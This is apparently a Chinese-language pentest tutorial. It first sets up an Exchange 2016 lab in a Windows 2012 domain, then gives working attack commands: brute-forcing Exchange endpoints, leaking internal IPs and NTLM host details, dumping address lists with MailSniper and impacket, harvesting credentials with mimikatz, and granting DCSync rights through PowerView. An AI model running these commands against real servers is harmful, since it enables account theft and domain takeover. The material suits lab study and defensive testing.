域内部署Exchange
首先这里环境的话是:
DC: win2012
exchange服务器: win2012
exchange 2016
首先我们去装win2012虚拟机的时候需要给两个网卡,一个是内网,一个是外网的网卡。
内网的dns设置为域控的IP。
外网就不需要指定ip了。
首先需要安装.net4.8 这里的话是需要连网的。
下载地址:https://support.microsoft.com/zh-cn/topic/%E9%80%82%E7%94%A8%E4%BA%8E-windows-%E7%9A%84-microsoft-net-framework-4-8-%E8%84%B1%E6%9C%BA%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F-9d23f658-3b97-68ab-d013-aa3c3e7495e0
下载之后拉到windows2012中,双击安装即可。
再去安装: 这里需要在powershell中安装。
Install-WindowsFeature RSAT-ADDS
紧接着在powershel中执行如下:
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation
装完以上这个之后 再去装 UcmaRuntimeSetup 这里也需要联网 。
下载地址:https://download.microsoft.com/download/4/A/5/4A5559C5-FFA0-4C23-AFA7-D235AC73DD13/UcmaRuntimeSetup.exe
记住如上的操作每装一个东西重启一次即可,防止出错。
紧接着就可以去装exchange了。
我们下载的exchange是这个样子的。是一个iso文件。
我们拉到虚拟机里面,然后直接双击,里面有一个EXE文件。
再次双击EXEW文件,选择解压路径,然后解压即可。
解压之后里面有一个setup的文件。
然后powershell切换到解压的目录执行:
setup /IAcceptExchangeServerLicenseTerms /PrepareSchema
设置组织名称: .\Setup /preparead /IAcceptExchangeServerLicenseTerms /OrganizationName "exchangeorg"'
安装授权: .\Setup /prepareALLDomains /IAcceptExchangeServerLicenseTerms
执行完上面的命令之后,然后双击目录里面的setup.exe文件就可以安装了。
具体安装的话可以参考:https://blog.51cto.com/hwg1227/5453511 只需要看后半部分即可。
接下来我们就可以测试收发邮件了。
Exchange相关漏洞利用
爆破
在如下接口都是可以进行暴力破解的,而且支持Basic认证方式。
/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync
这里可以使用如下工具进行查找可以爆破的接口:
https://github.com/grayddq/EBurst
python EBurst.py -L users.txt -p Admin123.. -d exchange-server.relaysec.com
泄露内网IP
原始的数据包里面包含Host头,这里我们将Host头去掉并且将HTTP/1.1改为HTTP/1.0 然后请求路径为/owa,可以看到响应包里面的10.115.34.15就是它内网的IP地址。
可以匹配的接口有:
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
这里需要注意的是如果测试后面没加 / 比如/owa,有些环境会重定向到/owa/ 可能导致无法获取到IP。
也可以使用MSF来进行操作。
auxiliary/scanner/http/owa_iis_internal_ip 这里就不演示了。
泄露Exchange服务器操作系统,主机名,Netbios名
由于支持ntlm认证,在type2返回Challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等。这也就意味着如果我们给服务器发送一个type1的请求,服务器返回type2的响应,这一步,我们就可以得到很多信息。
因此我们可以获取很多信息了,这里使用nmap进行扫描
sudo nmap 61.214.142.80 -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
导出邮箱列表
使用MailSniper.ps1
下载地址:https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1
Get-GlobalAddressList -ExchHostname exchange服务器的前缀名 -UserName relaysec\win2012 -Password Admin123.. -OutFile global-address-list.txt
使用impacket底下的exchanger.py
首先查出有那些列表
python exchanger.py relaysec/win2012:Admin123..@exchange服务器的ip nspi list-tables
如上有这些列表,比如我们要查看所有的用户。这里可以根据guid来进行查询。
python exchanger.py relaysec/win2012:Admin123..@exchange服务器的ip nspi dump-tables -guid xxx
域内定位Exchange服务器
setspn -Q IMAP/*
Exchange内部的域管凭据
拿到Exchange服务器,有很大概率就是域管直接登录的.或者域管曾经登录过.拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限.如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户.而且就算是高版本的server,在Exchange上也能抓到明文密码.
Exchange的ACL
所有的Exchange Server 都在Exchange Windows Permissions
组里面,而这个组默认就对域有WriteACL权限,那么当我们拿下Exchange服务器的时候,就可以尝试使用WriteACL赋予自身Dcsync的权限.
使用powerview,为当前exchange机器名用户增加dcsync权限(此处需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity 'DC=relaysec,DC=com' -PrincipalIdentity exchange-sevrer$ -Rights DCSync -Verbose}"
由于这个权限,Exchange 的RCE常用以在内网渗透中用来提升到域管权限.
因此在CVE-2019-1040中,除了可以攻击DC,也有人选择攻击Exchange.